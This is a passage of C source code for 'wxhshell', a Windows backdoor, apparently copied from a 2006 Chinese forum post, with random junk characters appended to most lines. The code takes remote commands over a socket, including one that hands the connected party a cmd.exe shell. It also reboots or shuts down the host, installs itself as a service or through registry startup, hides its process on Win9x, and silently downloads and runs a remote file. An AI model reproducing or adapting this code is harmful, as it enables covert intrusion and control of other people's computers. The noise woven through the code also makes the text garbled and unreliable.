  else { ?.b.mkJ  
l:rT{l=8*  
    switch(cmd[0]) { %["V "{ z  
  "<I*ViZ  
  // 帮助 ISl-W1u}  
  case '?': { 7BDoF!kCx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); */yR _f  
    break; 4w-P%-4  
  } 9Wi+7_)  
  // 安装 jFMf=u&U  
  case 'i': { +XN/ bT  
    if(Install()) Y>: e4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p[M*<==4  
    else F),wj8#~>-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5W=jQ3 C  
    break; &fYV FRVkq  
    } .kkrU  
  // 卸载 KQ(7%W  
  case 'r': { 1P+Te,I  
    if(Uninstall()) i VIpe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&i,}p^M5  
    else T1Y_Jf*KJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l&1R`gcW  
    break; \a}W{e=FNT  
    } 51lN,VVD  
  // 显示 wxhshell 所在路径 P1f@?R&t+  
  case 'p': { H%AC *,  
    char svExeFile[MAX_PATH]; >k{KwFB^S  
    strcpy(svExeFile,"\n\r"); e+=P)Zp/  
      strcat(svExeFile,ExeFile); ^6U0n!nU  
        send(wsh,svExeFile,strlen(svExeFile),0); M8wEy_XB1  
    break; gr y]!4Hy  
    } '-[~I>o%  
  // 重启 p&~= rp`E  
  case 'b': { #XJ`/\E]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /}=Bi-  
    if(Boot(REBOOT)) 0ynvn9@t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,S7 g=(27(  
    else { 3\jcq@N  
    closesocket(wsh); 2XN];,{  
    ExitThread(0); R |h(SXa  
    } BE]PM nI  
    break; wkwsBi  
    } BCtm05  
  // 关机 8S_v} NUm  
  case 'd': { L&2 Zn{#`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z1u1%FwOfM  
    if(Boot(SHUTDOWN)) n!K<g.tjW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {v>orP?  
    else { D7"RZF\)  
    closesocket(wsh); I T\lkF2  
    ExitThread(0); ;5fq[v^P:  
    } 4dwG6-  
    break; BRg(h3 ED  
    } ^cy.iolt  
  // 获取shell 'U" ub2j  
  case 's': { T@ecWRro  
    CmdShell(wsh); uqg#(ADy?R  
    closesocket(wsh); Px<*n '~}  
    ExitThread(0); zz 1e)W/  
    break; xJ(4RaP  
  } ;^K4kK&f  
  // 退出 Mmu>&C\  
  case 'x': { 7u9!:}Tu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y79{v nlGk  
    CloseIt(wsh); X( H-U q*(  
    break; =(x W7Pt~  
    } z sZP\  
  // 离开 $stBB  
  case 'q': { hn bF}AD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C/{tvY /o  
    closesocket(wsh); eZ^-gk?  
    WSACleanup(); aF~ 0\XC  
    exit(1); {IlX@qWr  
    break; `1eGsd,f  
        } z` :uvEX0  
  } =U_WrY<F  
  } SqF9#&F  
9<ev]XaSl  
  // 提示信息 rprtp5Cg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xxN=,p  
} wwtk6;8@  
  } mz~aSbb|  
0DFxVH_xN  
  return; mar BVFz~  
} eaI!}#>R +  
P{-f./(JD  
// shell模块句柄 UF)4K3X  
int CmdShell(SOCKET sock) #l!Sz247  
{ KF#,Q  
STARTUPINFO si; 3'H 1T  
ZeroMemory(&si,sizeof(si)); y~cDWD <h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; iK9'u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }LaRa.3  
PROCESS_INFORMATION ProcessInfo; D6KYkN(,v  
char cmdline[]="cmd"; Gg3cY{7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~HH#aXh*  
  return 0; n2JwZ?  
} uD2v6x236  
n' \poB?  
// 自身启动模式 DhL]\ 4  
int StartFromService(void) '01ifA^  
{ ,KMt9 <  
typedef struct %S<0l@=5`l  
{ _Co*"hl>2  
  DWORD ExitStatus; +s}"&IV%  
  DWORD PebBaseAddress; A{ :PpYs  
  DWORD AffinityMask; )9L:^i6  
  DWORD BasePriority; ?y\gjC6CNG  
  ULONG UniqueProcessId; `~bnshUk  
  ULONG InheritedFromUniqueProcessId; 2^}E!(<  
}   PROCESS_BASIC_INFORMATION; =vv4;az X  
y3 R+060\3  
PROCNTQSIP NtQueryInformationProcess; L;7x2&  
T-: @p>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YmS}*>oz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f ,?P1D\  
]&')# YO  
  HANDLE             hProcess; Ig hd,G-  
  PROCESS_BASIC_INFORMATION pbi; `(r [BV|h}  
[_&\wHX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )PRyDC-  
  if(NULL == hInst ) return 0; c teUKK.|)  
uHv9D%R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hvn{aLa.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nH#|]gVI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K&t+3O  
c({V[eGY  
  if (!NtQueryInformationProcess) return 0; O;u&>BMk  
~"E@do("  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yX}riXe  
  if(!hProcess) return 0; }4!R2c  
8u,f<XHi"a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E6{|zF/3'  
|G+6R-_  
  CloseHandle(hProcess); vpoeK'bi,  
<Ct b^4$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3J2j5N:g  
if(hProcess==NULL) return 0; j0p'_|)(  
3aL8 gE  
HMODULE hMod; C0xj M0  
char procName[255]; iUv#oX H  
unsigned long cbNeeded; jXBAo  
r>=)Y32Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \;z *j|;B  
p nS{W \Q  
  CloseHandle(hProcess); >AT{\W!N  
Fxu'(xa  
if(strstr(procName,"services")) return 1; // 以服务启动 TwlrncK*  
#Z'r;YOzs  
  return 0; // 注册表启动 VpDNp (2  
} 0]C~CvO  
O<&8 gk~  
// 主模块 ZgN )sVJ  
int StartWxhshell(LPSTR lpCmdLine) fZqMznF  
{ nQ*9|v4  
  SOCKET wsl; +mReWf:o  
BOOL val=TRUE; 'WEypz  
  int port=0; ;+%(@C51GE  
  struct sockaddr_in door; zCvt"!}RRa  
s3+^q  
  if(wscfg.ws_autoins) Install(); n M +(  
wic& $p/%  
port=atoi(lpCmdLine); }n+#o!uEf  
6]=$c<.&  
if(port<=0) port=wscfg.ws_port; ^:.=S`,^  
35dbDgVz$  
  WSADATA data; no*p`a *  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T+_pmDDN  
5 ",@!1ju  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8Bvc# +B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iWbrX1 I+  
  door.sin_family = AF_INET; [NE:$@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _S43_hW  
  door.sin_port = htons(port); _b+=q:$/  
jY>BU&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sx;7  
closesocket(wsl); GA, 6G [E  
return 1; wf4?{H  
} prf  
R<}n?f\#JZ  
  if(listen(wsl,2) == INVALID_SOCKET) { }B{bM<dF  
closesocket(wsl); K&zp2V  
return 1; uyt]\zVT  
} |[ymNG  
  Wxhshell(wsl); *_ 2db   
  WSACleanup(); D<=:9  
nE!h&}(  
return 0; (nWi9(}J  
A.a UWh  
} E2M|b  
@Sxb}XI!f  
// 以NT服务方式启动 86c@Kk7z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8+ P)V4}  
{ >z'kCv  
DWORD   status = 0; _e%jM[  
  DWORD   specificError = 0xfffffff; Ccmo(W+0  
(^fiw%#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %#!`>S)O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6Z:<?_p%7g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y\]~S2}G  
  serviceStatus.dwWin32ExitCode     = 0; "0JG96&\  
  serviceStatus.dwServiceSpecificExitCode = 0; %F'*0<  
  serviceStatus.dwCheckPoint       = 0; 7^}np^[HB  
  serviceStatus.dwWaitHint       = 0; Y`5(F>/RQG  
h|^RM*x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zi&qa+F  
  if (hServiceStatusHandle==0) return; Nf.6:=  
'l+).},  
status = GetLastError(); cNi)[2o7  
  if (status!=NO_ERROR) M_wqb'=  
{ {H FF|Dx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O?<R.W<QI  
    serviceStatus.dwCheckPoint       = 0; oxN~(H)/ #  
    serviceStatus.dwWaitHint       = 0; ['p%$4i$  
    serviceStatus.dwWin32ExitCode     = status; "PM!03rb  
    serviceStatus.dwServiceSpecificExitCode = specificError; !;";L5()  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;9>(yJI+  
    return; biTET|U`$  
  } BU-m\Kf)  
Bnju_)U5)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )Mw<e  
  serviceStatus.dwCheckPoint       = 0; 6%/@b`vZ  
  serviceStatus.dwWaitHint       = 0; OR4ZjogzY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q{hXP*5  
} 's.%rre%  
UZ8 vZ  
// 处理NT服务事件,比如:启动、停止 8!a6)Zeux  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q;m:o8Q5  
{ #/u%sX`#y  
switch(fdwControl) NdpcfZ q  
{ ^T):\x(  
case SERVICE_CONTROL_STOP:  3z^l  
  serviceStatus.dwWin32ExitCode = 0; CAGaZ rx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .G"UM>.}d  
  serviceStatus.dwCheckPoint   = 0; GtQ$`~r  
  serviceStatus.dwWaitHint     = 0; pkd#SY  
  { %1E:rw@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0/".2(\}T  
  } bVE t?E*+  
  return; Tk[`kmb  
case SERVICE_CONTROL_PAUSE: y6.Q\=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?W  l=F/  
  break; >"^H"K/T  
case SERVICE_CONTROL_CONTINUE: ?.&]4z([  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >Ux5UD  
  break; m'|{AjH z6  
case SERVICE_CONTROL_INTERROGATE: U#=Q`  
  break; $vlc@]~d`&  
}; ghXh nxG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z)RoFD1]C  
}  4wLp  
!!NVx\a  
// 标准应用程序主函数 O gQE1{C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y9h~ hD  
{ x1\ a_Kt  
EZ+_*_9  
// 获取操作系统版本 GEr]zMYG[A  
OsIsNt=GetOsVer(); 'g<0MOq{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); seT?:PCA  
`^t0379e  
  // 从命令行安装 3*13XQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); v!oXcHK/  
4~<  :Pj  
  // 下载执行文件 &. sfu$]  
if(wscfg.ws_downexe) { M" |Mte  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B+y r 6Q.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 39s%CcI`k  
} ifA{E}fRZP  
yFp8 >  
if(!OsIsNt) { Gy*6I)l  
// 如果时win9x,隐藏进程并且设置为注册表启动 hhu !'(j  
HideProc(); Isa]5>  
StartWxhshell(lpCmdLine); *ujn+0)[  
} F1skI _!  
else &5Ai&<q"p  
  if(StartFromService()) /IDfGAE  
  // 以服务方式启动 XWQp-H.  
  StartServiceCtrlDispatcher(DispatchTable); joa|5v'  
else : b^\O  
  // 普通方式启动 ]YF[W`2h  
  StartWxhshell(lpCmdLine); 1:I47/  
Z-(Vfp4  
return 0; l`s_Id#  
}
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只看该作者 1 发表于: 2006-10-10
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